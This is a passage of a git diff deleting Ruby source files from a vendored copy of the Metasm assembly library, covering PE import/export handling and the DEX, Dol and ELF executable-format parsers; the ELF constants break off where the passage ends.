@optheader.subsystem = tok.raw - check_eol[] - - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @source.each { |k, v| - raise "no section named #{k} ?" if not s = @sections.find { |s_| s_.name == k } - s.encoded << assemble_sequence(v, @cpu) - v.clear - } - end - - # defines __PE__ - def tune_prepro(l) - l.define_weak('__PE__', 1) - l.define_weak('__MS_X86_64_ABI__') if @cpu and @cpu.shortname == 'x64' - end - - def tune_cparser(cp) - super(cp) - cp.llp64 if @cpu.size == 64 - end - - # honors C attributes: export, export_as(foo), import_from(kernel32), entrypoint - # import by ordinal: extern __stdcall int anyname(int) __attribute__((import_from(ws2_32:28))); - # can alias imports with int mygpaddr_alias() attr(import_from(kernel32:GetProcAddr)) - def read_c_attrs(cp) - cp.toplevel.symbol.each_value { |v| - next if not v.kind_of? C::Variable - if v.has_attribute 'export' or ea = v.has_attribute_var('export_as') - @export ||= ExportDirectory.new - @export.exports ||= [] - e = ExportDirectory::Export.new - begin - e.ordinal = Integer(ea || v.name) - rescue ArgumentError - e.name = ea || v.name - end - e.target = v.name - @export.exports << e - end - if v.has_attribute('import') or ln = v.has_attribute_var('import_from') - ln ||= WindowsExports::EXPORT[v.name] - raise "unknown library for #{v.name}" if not ln - i = ImportDirectory::Import.new - if ln.include? ':' - ln, name = ln.split(':') - begin - i.ordinal = Integer(name) - rescue ArgumentError - i.name = name - end - else - i.name = v.name - end - if v.type.kind_of? C::Function - i.thunk = v.name - i.target = 'iat_'+i.thunk - else - i.target = v.name - end - - @imports ||= [] - if not id = @imports.find { |id_| id_.libname == ln } - id = ImportDirectory.new - id.libname = ln - id.imports = [] - @imports << id - end - id.imports << i - end - if v.has_attribute 'entrypoint' - @optheader.entrypoint = v.name - end - } - end - - # try to resolve automatically COFF import tables from self.sections.encoded.relocations - # and WindowsExports::EXPORT - # if the relocation target is '<symbolname>' or 'iat_<symbolname>, link to the IAT address, if it is '<symbolname> + <expr>', - # link to a thunk (plt-like) - # if the relocation is not found, try again after appending 'fallback_append' to the symbol (eg wsprintf => wsprintfA) - def autoimport(fallback_append='A') - WindowsExports rescue return # autorequire - autoexports = WindowsExports::EXPORT.dup - @sections.each { |s| - next if not s.encoded - s.encoded.export.keys.each { |e| autoexports.delete e } - } - @sections.each { |s| - next if not s.encoded - s.encoded.reloc.each_value { |r| - if r.target.op == :+ and not r.target.lexpr and r.target.rexpr.kind_of?(::String) - sym = target = r.target.rexpr - sym = sym[4..-1] if sym[0, 4] == 'iat_' - elsif r.target.op == :- and r.target.rexpr.kind_of?(::String) and r.target.lexpr.kind_of?(::String) - sym = thunk = r.target.lexpr - end - if not dll = autoexports[sym] - sym += fallback_append if sym.kind_of?(::String) and fallback_append.kind_of?(::String) - next if not dll = autoexports[sym] - end - - @imports ||= [] - next if @imports.find { |id| id.imports.find { |ii| ii.name == sym } } - if not id = @imports.find { |id_| id_.libname =~ /^#{dll}(\.dll)?$/i } - id = ImportDirectory.new - id.libname = dll - id.imports = [] - @imports << id - end - if not i = id.imports.find { |i_| i_.name == sym } - i = ImportDirectory::Import.new - i.name = sym - id.imports << i - end - if (target and i.target and (i.target != target or i.thunk == target)) or - (thunk and i.thunk and (i.thunk != thunk or i.target == thunk)) - puts "autoimport: conflict for #{target} #{thunk} #{i.inspect}" if $VERBOSE - else - i.target ||= new_label(target || 'iat_' + thunk) - i.thunk ||= thunk if thunk - end - } - } - end -end -end diff --git a/lib/metasm/metasm/exe_format/dex.rb b/lib/metasm/metasm/exe_format/dex.rb deleted file mode 100644 index 6b9c5f0538..0000000000 --- a/lib/metasm/metasm/exe_format/dex.rb +++ /dev/null @@ -1,465 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - - -module Metasm -# Android Dalvik executable file format (similar to java .class) -class DEX < ExeFormat - MAGIC = "dex\n" - OPTMAGIC = "dey\n" - DEPSMAGIC = "deps" - - TYPE = { 0x0000 => 'Header', 0x0001 => 'StringId', - 0x0002 => 'TypeId', 0x0003 => 'ProtoId', - 0x0004 => 'FieldId', 0x0005 => 'MethodId', - 0x0006 => 'ClassDef', - 0x1000 => 'MapList', 0x1001 => 'TypeList', - 0x1002 => 'AnnotationSetRefList', 0x1003 => 'AnnotationSetItem', - 0x2000 => 'ClassData', 0x2001 => 'CodeItem', - 0x2002 => 'StringData', 0x2003 => 'DebugInfoItem', - 0x2004 => 'AnnotationItem', 0x2005 => 'EncodedArrayItem', - 0x2006 => 'AnnotationsDirectoryItem' } - - OPT_FLAGS = { 1 => 'VERIFIED', 2 => 'BIG', 4 => 'FIELDS', 8 => 'INVOCATIONS' } - - ACCESSIBILITY_CLASS = { 1 => 'PUBLIC', 0x10 => 'FINAL', 0x20 => 'SUPER', - 0x200 => 'INTERFACE', 0x400 => 'ABSTRACT', 0x2000 => 'ANNOTATION', - 0x4000 => 'ENUM' } - - VISIBILITY = { 0 => 'BUILD', 1 => 'RUNTIME', 2 => 'SYSTEM' } - - OBJ_TYPE = { 0 => 'Byte', 2 => 'Short', 3 => 'Char', 4 => 'Int', - 6 => 'Long', 0x10 => 'Float', 0x11 => 'Double', 0x17 => 'String', - 0x18 => 'Type', 0x19 => 'Field', 0x1a => 'Method', 0x1b => 'Enum', - 0x1c => 'Array', 0x1d => 'Annotation', 0x1e => 'Null', - 0x1f => 'Boolean' } - - - class SerialStruct < Metasm::SerialStruct - # TODO move uleb/sleb to new_field for sizeof - new_int_field :u2, :u4, :uleb, :sleb - end - - class Header < SerialStruct - mem :sig, 4 - str :ver, 4 - decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEX signature #{hdr.sig.inspect}" if hdr.sig != MAGIC } - u4 :checksum - mem :sha1sum, 20 - u4 :filesz - u4 :headersz - u4 :endiantag, 0x12345678 - u4 :linksz - u4 :linkoff - u4 :mapoff - u4 :stringidssz - u4 :stringidsoff - u4 :typeidssz - u4 :typeidsoff - u4 :protoidssz - u4 :protoidsoff - u4 :fieldidssz - u4 :fieldidsoff - u4 :methodidssz - u4 :methodidsoff - u4 :classdefssz - u4 :classdefsoff - u4 :datasz - u4 :dataoff - end - - # header added by optimisation pass ? - class OptHeader < SerialStruct - mem :sig, 4 - str :ver, 4 - decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEY signature #{hdr.sig.inspect}" if hdr.sig != OPTMAGIC } - u4 :dexoff - u4 :dexsz - u4 :depsoff - u4 :depssz - u4 :auxoff - u4 :auxsz - u4 :flags - u4 :pad - - fld_bits :flags, OPT_FLAGS - end - - class MapList < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { MapItem.decode(exe) } - end - end - - class MapItem < SerialStruct - u2 :type - fld_enum :type, TYPE - u2 :unused - u4 :sz - u4 :off - end - - class StringId < SerialStruct - u4 :off - end - - class StringData < SerialStruct - uleb :sz - attr_accessor :str # array of sz utf8 chars - - def decode(exe) - super(exe) - @str = exe.decode_strz - end - end - - class TypeId < SerialStruct - u4 :descridx - end - - class FieldId < SerialStruct - u2 :classidx - u2 :typeidx - u4 :nameidx - end - - class MethodId < SerialStruct - u2 :classidx - u2 :protoidx - u4 :nameidx - end - - class ProtoId < SerialStruct - u4 :shortyidx - u4 :returntypeidx - u4 :parametersoff - end - - class ClassDef < SerialStruct - u4 :classidx - u4 :accessflags - fld_bits :accessflags, ACCESSIBILITY_CLASS - u4 :superclassidx - u4 :interfaceoff - u4 :sourcefileidx - u4 :annotationsoff - u4 :classdataoff - u4 :staticvaluesoff - - attr_accessor :data - end - - class ClassData < SerialStruct - uleb :staticfsz - uleb :instancefsz - uleb :directmsz - uleb :virtualmsz - - attr_accessor :static_fields, :instance_fields, - :direct_methods, :virtual_methods - - def decode(exe) - super(exe) - - @static_fields = (1..@staticfsz).map { EncodedField.decode(exe) } - @instance_fields = (1..@instancefsz).map { EncodedField.decode(exe) } - @direct_methods = (1..@directmsz).map { EncodedMethod.decode(exe) } - @virtual_methods = (1..@virtualmsz).map { EncodedMethod.decode(exe) } - end - end - - class EncodedField < SerialStruct - uleb :fieldid_diff # this field id - array.previous field id - uleb :access - - attr_accessor :fieldid, :field - end - - class EncodedMethod < SerialStruct - uleb :methodid_diff # this method id - array.previous method id - uleb :access - uleb :codeoff # offset to CodeItem - - attr_accessor :methodid, :method, :code, :name - end - - class TypeItem < SerialStruct - u2 :typeidx - end - - class TypeList < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { TypeItem.decode(exe) } - exe.decode_u2 if @sz & 1 == 1 # align - end - end - - class CodeItem < SerialStruct - u2 :registerssz - u2 :inssz - u2 :outssz - u2 :triessz - u4 :debugoff - u4 :insnssz - - attr_accessor :insns_off, :try_items, :catch_items - - def decode(exe) - p0 = exe.encoded.ptr - super(exe) - @insns_off = exe.encoded.ptr - p0 - exe.encoded.ptr += 2*@insnssz - return if @triessz <= 0 - exe.decode_u2 if @insnssz & 1 == 1 # align - @try_items = (1..@triessz).map { Try.decode(exe) } - stptr = exe.encoded.ptr - hnr = exe.decode_uleb - @catch_items = (1..hnr).map { CatchHandler.decode(exe, exe.encoded.ptr - stptr) } - end - end - - class Try < SerialStruct - u4 :startaddr - u2 :insncount - u2 :handleroff # byte offset into the @catch_items structure - end - - class CatchHandler < SerialStruct - sleb :size - attr_accessor :byteoff - attr_accessor :type_pairs, :catchalloff - - def decode(exe, boff = nil) - super(exe) - - @byteoff = boff - @type_pairs = (1..@size.abs).map { CatchTypePair.decode(exe) } - @catchalloff = exe.decode_uleb if @size <= 0 - end - end - - class CatchTypePair < SerialStruct - uleb :typeidx - uleb :handleroff - end - - class Link < SerialStruct - # undefined - end - - class AnnotationDirectoryItem < SerialStruct - u4 :classannotationsoff - u4 :fieldssz - u4 :methodssz - u4 :parameterssz - - attr_accessor :field, :method, :parameter - def decode(exe) - super(exe) - @field = (1..@fieldssz).map { FieldAnnotationItem.decode(exe) } - @method = (1..@methodssz).map { MethodAnnotationItem.decode(exe) } - @parameter = (1..@parameterssz).map { ParameterAnnotationItem.decode(exe) } - end - end - - class FieldAnnotationItem < SerialStruct - u4 :fieldidx - u4 :annotationsoff - end - - class MethodAnnotationItem < SerialStruct - u4 :methodidx - u4 :annotationsoff - end - - class ParameterAnnotationItem < SerialStruct - u4 :methodidx - u4 :annotationsoff # off to AnnSetRefList - end - - class AnnotationSetRefList < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { AnnotationSetRefItem.decode(exe) } - end - end - - class AnnotationSetRefItem < SerialStruct - u4 :annotationsoff - end - - class AnnotationSetItem < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { AnnotationItem.decode(exe) } - end - end - - class AnnotationItem < SerialStruct - byte :visibility - fld_enum :visibility, VISIBILITY - attr_accessor :annotation - end - - - attr_accessor :endianness - - def encode_u2(val) Expression[val].encode(:u16, @endianness) end - def encode_u4(val) Expression[val].encode(:u32, @endianness) end - def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def sizeof_u2 ; 2 ; end - def sizeof_u4 ; 4 ; end - def decode_uleb(ed = @encoded, signed=false) - v = s = 0 - while s < 5*7 - b = ed.read(1).unpack('C').first.to_i - v |= (b & 0x7f) << s - break if (b&0x80) == 0 - s += 7 - end - v = Expression.make_signed(v, s) if signed - v - end - def decode_sleb(ed = @encoded) decode_uleb(ed, true) end - attr_accessor :header, :strings, :types, :protos, :fields, :methods, :classes - - def initialize(endianness=:little) - @endianness = endianness - @encoded = EncodedData.new - super() - end - - def decode_header - @header = Header.decode(self) - end - - def decode_strings - @encoded.ptr = @header.stringidsoff - so = (1..@header.stringidssz).map { StringId.decode(self) } - @strings = so.map { |s| @encoded.ptr = s.off ; StringData.decode(self).str } - end - - def decode_types - @encoded.ptr = @header.typeidsoff - tl = (1..@header.typeidssz).map { TypeId.decode(self) } - @types = tl.map { |t| @strings[t.descridx] } # TODO demangle or something - end - - def decode_protos - @encoded.ptr = @header.protoidsoff - @protos = (1..@header.protoidssz).map { ProtoId.decode(self) } - end - - def decode_fields - @encoded.ptr = @header.fieldidsoff - @fields = (1..@header.fieldidssz).map { FieldId.decode(self) } - end - - def decode_methods - @encoded.ptr = @header.methodidsoff - @methods = (1..@header.methodidssz).map { MethodId.decode(self) } - end - - def decode_classes - @encoded.ptr = @header.classdefsoff - @classes = (1..@header.classdefssz).map { ClassDef.decode(self) } - @classes.each { |c| - next if c.classdataoff == 0 - @encoded.ptr = c.classdataoff - c.data = ClassData.decode(self) - id = 0 - (c.data.direct_methods + [0] + c.data.virtual_methods).each { |m| - next id=0 if m == 0 - id += m.methodid_diff - m.methodid = id - m.method = @methods[id] - m.name = @strings[m.method.nameidx] - @encoded.ptr = m.codeoff - m.code = CodeItem.decode(self) - next if @encoded.ptr > @encoded.length - l = new_label(m.name + '@' + @types[c.classidx]) - @encoded.add_export l, m.codeoff + m.code.insns_off - } - } - end - - def decode - decode_header - decode_strings - decode_types - decode_protos - decode_fields - decode_methods - decode_classes - end - - def cpu_from_headers - Dalvik.new(self) - end - - def init_disassembler - dasm = super() - @classes.each { |c| - next if not c.data - (c.data.direct_methods + c.data.virtual_methods).each { |m| - n = @types[c.classidx] + '->' + m.name - dasm.comment[m.codeoff+m.code.insns_off] = [n] - } - } - dasm.function[:default] = @cpu.disassembler_default_func - dasm - end - - def each_section - yield @encoded, 0 -# @classes.each { |c| -# next if not c.data -# (c.data.direct_methods + c.data.virtual_methods).each { |m| -# next if not m.code -# next if not ed = @encoded[m.codeoff+m.code.insns_off, 2*m.code.insnssz] -# yield ed, ed.export.index(0) -# } -# } - end - - def get_default_entrypoints - @classes.find_all { |c| c.data }.map { |c| - (c.data.direct_methods + c.data.virtual_methods).map { |m| - m.codeoff+m.code.insns_off - } - }.flatten - end -end - -class DEY < DEX - attr_accessor :optheader, :fullencoded - def decode_header - @optheader = OptHeader.decode(self) - @fullencoded = @encoded - @encoded = @fullencoded[@optheader.dexoff, @optheader.dexsz] - super - end -end -end diff --git a/lib/metasm/metasm/exe_format/dol.rb b/lib/metasm/metasm/exe_format/dol.rb deleted file mode 100644 index b061375914..0000000000 --- a/lib/metasm/metasm/exe_format/dol.rb +++ /dev/null @@ -1,146 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -class Dol < ExeFormat - attr_accessor :header, :text, :data - - class Header < SerialStruct - 7.times { |i| word "foff_text#{i}".to_sym } - 11.times { |i| word "foff_data#{i}".to_sym } - 7.times { |i| word "addr_text#{i}".to_sym } - 11.times { |i| word "addr_data#{i}".to_sym } - 7.times { |i| word "size_text#{i}".to_sym } - 11.times { |i| word "size_data#{i}".to_sym } - word :addr_bss - word :size_bss - word :entrypoint - mem :pad, 0x100-0xe4 - end - - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - def sizeof_word ; 4 ; end - - def initialize(cpu = nil) - @endianness = :big - @header = Header.new - @text = [] - @data = [] - super(cpu) - end - - def decode_header - @encoded.ptr = 0 - @header.decode(self) - end - - def decode - decode_header - - 7.times { |i| - off = @header.send("foff_text#{i}") - sz = @header.send("size_text#{i}") - @text << @encoded[off, sz] - } - 11.times { |i| - off = @header.send("foff_data#{i}") - sz = @header.send("size_data#{i}") - @data << @encoded[off, sz] - } - end - - def encode(ignored=nil) - binding = {} - addr = 0 # XXX - @encoded = EncodedData.new - @text.each_with_index { |s, i| - next if not s - @header.send("foff_text#{i}=", new_label("foff_text#{i}")) - @header.send("size_text#{i}=", new_label("size_text#{i}")) - @header.send("addr_text#{i}=", new_label("addr_text#{i}")) if not @header.send("addr_text#{i}") - } - @data.each_with_index { |s, i| - next if not s - @header.send("foff_data#{i}=", new_label("foff_data#{i}")) - @header.send("size_data#{i}=", new_label("size_data#{i}")) - @header.send("addr_data#{i}=", new_label("addr_data#{i}")) if not @header.send("addr_data#{i}") - } - @encoded << @header.encode(self) - - @text.each_with_index { |s, i| - next if not s - binding[@header.send("foff_text#{i}")] = @encoded.length - binding[@header.send("size_text#{i}")] = s.length - binding[@header.send("addr_text#{i}")] = addr if @header.send("addr_text#{i}").kind_of? String - binding.update s.binding(addr) - @encoded << s - addr += s.length - } - @data.each_with_index { |s, i| - next if not s - binding[@header.send("foff_data#{i}")] = @encoded.length - binding[@header.send("size_data#{i}")] = s.length - binding[@header.send("addr_data#{i}")] = addr if @header.send("addr_data#{i}").kind_of? String - binding.update s.binding(addr) - @encoded << s - addr += s.length - } - @encoded.fixup! binding - @encoded.data - end - - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end - - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - when '.entrypoint' - # ".entrypoint <somelabel/expression>" or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entrypoint = entrypoint - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @text[0] ||= EncodedData.new - @text[0] << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data[0] ||= EncodedData.new - @data[0] << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end - - def each_section - 7.times { |i| - next if not @text[i] - yield @text[i], instance_variable_get("addr_text#{i}") - } - 11.times { |i| - next if not @data[i] - yield @data[i], instance_variable_get("addr_data#{i}") - } - end -end -end diff --git a/lib/metasm/metasm/exe_format/elf.rb b/lib/metasm/metasm/exe_format/elf.rb deleted file mode 100644 index b9f3e33542..0000000000 --- a/lib/metasm/metasm/exe_format/elf.rb +++ /dev/null @@ -1,959 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' - -module Metasm -class ELF < ExeFormat - MAGIC = "\x7fELF" # 0x7f454c46 - CLASS = { 0 => 'NONE', 1 => '32', 2 => '64', 200 => '64_icc' } - DATA = { 0 => 'NONE', 1 => 'LSB', 2 => 'MSB' } - VERSION = { 0 => 'INVALID', 1 => 'CURRENT' } - ABI = { 0 => 'SYSV', 1 => 'HPUX', 2 => 'NETBSD', 3 => 'LINUX', - 6 => 'SOLARIS', 7 => 'AIX', 8 => 'IRIX', 9 => 'FREEBSD', - 10 => 'TRU64', 11 => 'MODESTO', 12 => 'OPENBSD', 97 => 'ARM', - 255 => 'STANDALONE'} - TYPE = { 0 => 'NONE', 1 => 'REL', 2 => 'EXEC', 3 => 'DYN', 4 => 'CORE' } - TYPE_LOPROC = 0xff00 - TYPE_HIPROC = 0xffff - - MACHINE = { - 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', - 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', - 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', - 15 => 'PARISC', 17 => 'VPP500', 18 => 'SPARC32PLUS', 19 => '960', - 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', 23 => 'SPU', - 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', - 40 => 'ARM', 41 => 'ALPHA', 42 => 'SH', 43 => 'SPARCV9', - 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', - 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', - 52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP', - 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', - 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', - 64 => 'PDP10', 65 => 'PDP11', 66 => 'FX66', 67 => 'ST9PLUS', - 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', - 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', - 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', - 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', - 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', - 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', - 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', 95 => 'VIDEOCORE', - 96 => 'TMM_GPP', 97 => 'NS32K', 98 => 'TPC', 99 => 'SNP1K', - 100 => 'ST200', 101 => 'IP2K', 102 => 'MAX', 103 => 'CR', - 104 => 'F2MC16', 105 => 'MSP430', 106 => 'BLACKFIN', 107 => 'SE_C33', - 108 => 'SEP', 109 => 'ARCA', 110 => 'UNICORE', 111 => 'EXCESS', - 112 => 'DXP', 113 => 'ALTERA_NIOS2', 114 => 'CRX', 115 => 'XGATE', - 116 => 'C166', 117 => 'M16C', 118 => 'DSPIC30F', 119 => 'CE', - 120 => 'M32C', - 131 => 'TSK3000', 132 => 'RS08', 133 => 'SHARC', - 134 => 'ECOG2', 135 => 'SCORE7', 136 => 'DSP24', 137 => 'VIDEOCORE3', - 138 => 'LATTICEMICO32', 139 => 'SE_C17', 140 => 'TI_C6000', 141 => 'TI_C2000', - 142 => 'TI_C5500', - 160 => 'MMDSP_PLUS', 161 => 'CYPRESS_M8C', 162 => 'R32C', 163 => 'TRIMEDIA', - 164 => 'QDSP6', 165 => '8051', 166 => 'STXP7X', 167 => 'NDS32', - 168 => 'ECOG1', 169 => 'MAXQ30', 170 => 'XIMO16', 171 => 'MANIK', - 172 => 'CRAYNV2', 173 => 'RX', 174 => 'METAG', 175 => 'MCST_ELBRUS', - 176 => 'ECOG16', 177 => 'CR16', 178 => 'ETPU', 179 => 'SLE9X', - 180 => 'L10M', 181 => 'K10M', 182 => 'INTEL_RESV', 183 => 'AARCH64', - 184 => 'ARM_RESV', 185 => 'AVR32', 186 => 'STM8', 187 => 'TILE64', - 188 => 'TILEPRO', 189 => 'MICROBLAZE', 190 => 'CUDA', 191 => 'TILEGX', - 192 => 'CLOUDSHIELD', 193 => 'COREA_1ST', 194 => 'COREA_2ND', 195 => 'ARC_COMPACT2', - 196 => 'OPEN8', 197 => 'RL78', 198 => 'VIDEOCORE5', 199 => '78KOR', - 200 => '56800EX', 201 => 'BA1', 202 => 'BA2', 203 => 'XCORE', - 204 => 'MCHP_PIC', 205 => 'INTEL205', 206 => 'INTEL206', 207 => 'INTEL207', - 208 => 'INTEL208', 209 => 'INTEL209', 210 => 'KM32', 211 => 'KMX32', - 212 => 'KMX16', 213 => 'KMX8', 214 => 'KVARC', 215 => 'CDP', - 216 => 'COGE', 217 => 'COOL', 218 => 'NORC', - } - - FLAGS = { - 'SPARC' => {0x100 => '32PLUS', 0x200 => 'SUN_US1', - 0x400 => 'HAL_R1', 0x800 => 'SUN_US3', - 0x8000_0000 => 'LEDATA'}, - 'SPARCV9' => {0 => 'TSO', 1 => 'PSO', 2 => 'RMO'}, # XXX not a flag - 'MIPS' => {1 => 'NOREORDER', 2 => 'PIC', 4 => 'CPIC', - 8 => 'XGOT', 0x10 => '64BIT_WHIRL', 0x20 => 'ABI2', - 0x40 => 'ABI_ON32', 0x80 => 'OPTIONSFIRST', - 0x100 => '32BITMODE'} - } - - DYNAMIC_TAG = { 0 => 'NULL', 1 => 'NEEDED', 2 => 'PLTRELSZ', 3 => - 'PLTGOT', 4 => 'HASH', 5 => 'STRTAB', 6 => 'SYMTAB', 7 => 'RELA', - 8 => 'RELASZ', 9 => 'RELAENT', 10 => 'STRSZ', 11 => 'SYMENT', - 12 => 'INIT', 13 => 'FINI', 14 => 'SONAME', 15 => 'RPATH', - 16 => 'SYMBOLIC', 17 => 'REL', 18 => 'RELSZ', 19 => 'RELENT', - 20 => 'PLTREL', 21 => 'DEBUG', 22 => 'TEXTREL', 23 => 'JMPREL', - 24 => 'BIND_NOW', - 25 => 'INIT_ARRAY', 26 => 'FINI_ARRAY', - 27 => 'INIT_ARRAYSZ', 28 => 'FINI_ARRAYSZ', - 29 => 'RUNPATH', 30 => 'FLAGS', 31 => 'ENCODING', - 32 => 'PREINIT_ARRAY', 33 => 'PREINIT_ARRAYSZ', - 0x6fff_fdf5 => 'GNU_PRELINKED', - 0x6fff_fdf6 => 'GNU_CONFLICTSZ', 0x6fff_fdf7 => 'LIBLISTSZ', - 0x6fff_fdf8 => 'CHECKSUM', 0x6fff_fdf9 => 'PLTPADSZ', - 0x6fff_fdfa => 'MOVEENT', 0x6fff_fdfb => 'MOVESZ', - 0x6fff_fdfc => 'FEATURE_1', 0x6fff_fdfd => 'POSFLAG_1', - 0x6fff_fdfe => 'SYMINSZ', 0x6fff_fdff => 'SYMINENT', - 0x6fff_fef5 => 'GNU_HASH', - 0x6fff_fef6 => 'TLSDESC_PLT', 0x6fff_fef7 => 'TLSDESC_GOT', - 0x6fff_fef8 => 'GNU_CONFLICT', 0x6fff_fef9 => 'GNU_LIBLIST', - 0x6fff_fefa => 'CONFIG', 0x6fff_fefb => 'DEPAUDIT', - 0x6fff_fefc => 'AUDIT', 0x6fff_fefd => 'PLTPAD', - 0x6fff_fefe => 'MOVETAB', 0x6fff_feff => 'SYMINFO', - 0x6fff_fff0 => 'VERSYM', 0x6fff_fff9 => 'RELACOUNT', - 0x6fff_fffa => 'RELCOUNT', 0x6fff_fffb => 'FLAGS_1', - 0x6fff_fffc => 'VERDEF', 0x6fff_fffd => 'VERDEFNUM', - 0x6fff_fffe => 'VERNEED', 0x6fff_ffff => 'VERNEEDNUM' - } - DYNAMIC_TAG_LOPROC = 0x7000_0000 - DYNAMIC_TAG_HIPROC = 0x7fff_ffff - - # for tags between DT_LOPROC and DT_HIPROC, use DT_PROC[header.machine][tag-DT_LOPROC] - DYNAMIC_TAG_PROC = { - 'MIPS' => { - 1 => 'RLD_VERSION', 2 => 'TIME_STAMP', 3 => 'ICHECKSUM', - 4 => 'IVERSION', 5 => 'M_FLAGS', 6 => 'BASE_ADDRESS', 7 => 'MSYM', - 8 => 'CONFLICT', 9 => 'LIBLIST', 0x0a => 'LOCAL_GOTNO', - 0x0b => 'CONFLICTNO', 0x10 => 'LIBLISTNO', 0x11 => 'SYMTABNO', - 0x12 => 'UNREFEXTNO', 0x13 => 'GOTSYM', 0x14 => 'HIPAGENO', - 0x16 => 'RLD_MAP', 0x17 => 'DELTA_CLASS', 0x18 => 'DELTA_CLASS_NO', - 0x19 => 'DELTA_INSTANCE', 0x1a => 'DELTA_INSTANCE_NO', - 0x1b => 'DELTA_RELOC', 0x1c => 'DELTA_RELOC_NO', 0x1d => 'DELTA_SYM', - 0x1e => 'DELTA_SYM_NO', 0x20 => 'DELTA_CLASSSYM', 0x21 => 'DELTA_CLASSSYM_NO', - 0x22 => 'CXX_FLAGS', 0x23 => 'PIXIE_INIT', 0x24 => 'SYMBOL_LIB', - 0x25 => 'LOCALPAGE_GOTIDX', 0x26 => 'LOCAL_GOTIDX', - 0x27 => 'HIDDEN_GOTIDX', 0x28 => 'PROTECTED_GOTIDX', - 0x29 => 'OPTIONS', 0x2a => 'INTERFACE', 0x2b => 'DYNSTR_ALIGN', - 0x2c => 'INTERFACE_SIZE', 0x2d => 'RLD_TEXT_RESOLVE_ADDR', - 0x2e => 'PERF_SUFFIX', 0x2f => 'COMPACT_SIZE', - 0x30 => 'GP_VALUE', 0x31 => 'AUX_DYNAMIC', - } - } - - - DYNAMIC_FLAGS = { 1 => 'ORIGIN', 2 => 'SYMBOLIC', 4 => 'TEXTREL', - 8 => 'BIND_NOW', 0x10 => 'STATIC_TLS' } - DYNAMIC_FLAGS_1 = { 1 => 'NOW', 2 => 'GLOBAL', 4 => 'GROUP', - 8 => 'NODELETE', 0x10 => 'LOADFLTR', 0x20 => 'INITFIRST', - 0x40 => 'NOOPEN', 0x80 => 'ORIGIN', 0x100 => 'DIRECT', - 0x200 => 'TRANS', 0x400 => 'INTERPOSE', 0x800 => 'NODEFLIB', - 0x1000 => 'NODUMP', 0x2000 => 'CONFALT', 0x4000 => 'ENDFILTEE', - 0x8000 => 'DISPRELDNE', 0x10000 => 'DISPRELPND' } - DYNAMIC_FEATURE_1 = { 1 => 'PARINIT', 2 => 'CONFEXP' } - DYNAMIC_POSFLAG_1 = { 1 => 'LAZYLOAD', 2 => 'GROUPPERM' } - - PH_TYPE = { 0 => 'NULL', 1 => 'LOAD', 2 => 'DYNAMIC', 3 => 'INTERP', - 4 => 'NOTE', 5 => 'SHLIB', 6 => 'PHDR', 7 => 'TLS', - 0x6474e550 => 'GNU_EH_FRAME', 0x6474e551 => 'GNU_STACK', - 0x6474e552 => 'GNU_RELRO' } - PH_TYPE_LOPROC = 0x7000_0000 - PH_TYPE_HIPROC = 0x7fff_ffff - PH_FLAGS = { 1 => 'X', 2 => 'W', 4 => 'R' } - - SH_TYPE = { 0 => 'NULL', 1 => 'PROGBITS', 2 => 'SYMTAB', 3 => 'STRTAB', - 4 => 'RELA', 5 => 'HASH', 6 => 'DYNAMIC', 7 => 'NOTE', - 8 => 'NOBITS', 9 => 'REL', 10 => 'SHLIB', 11 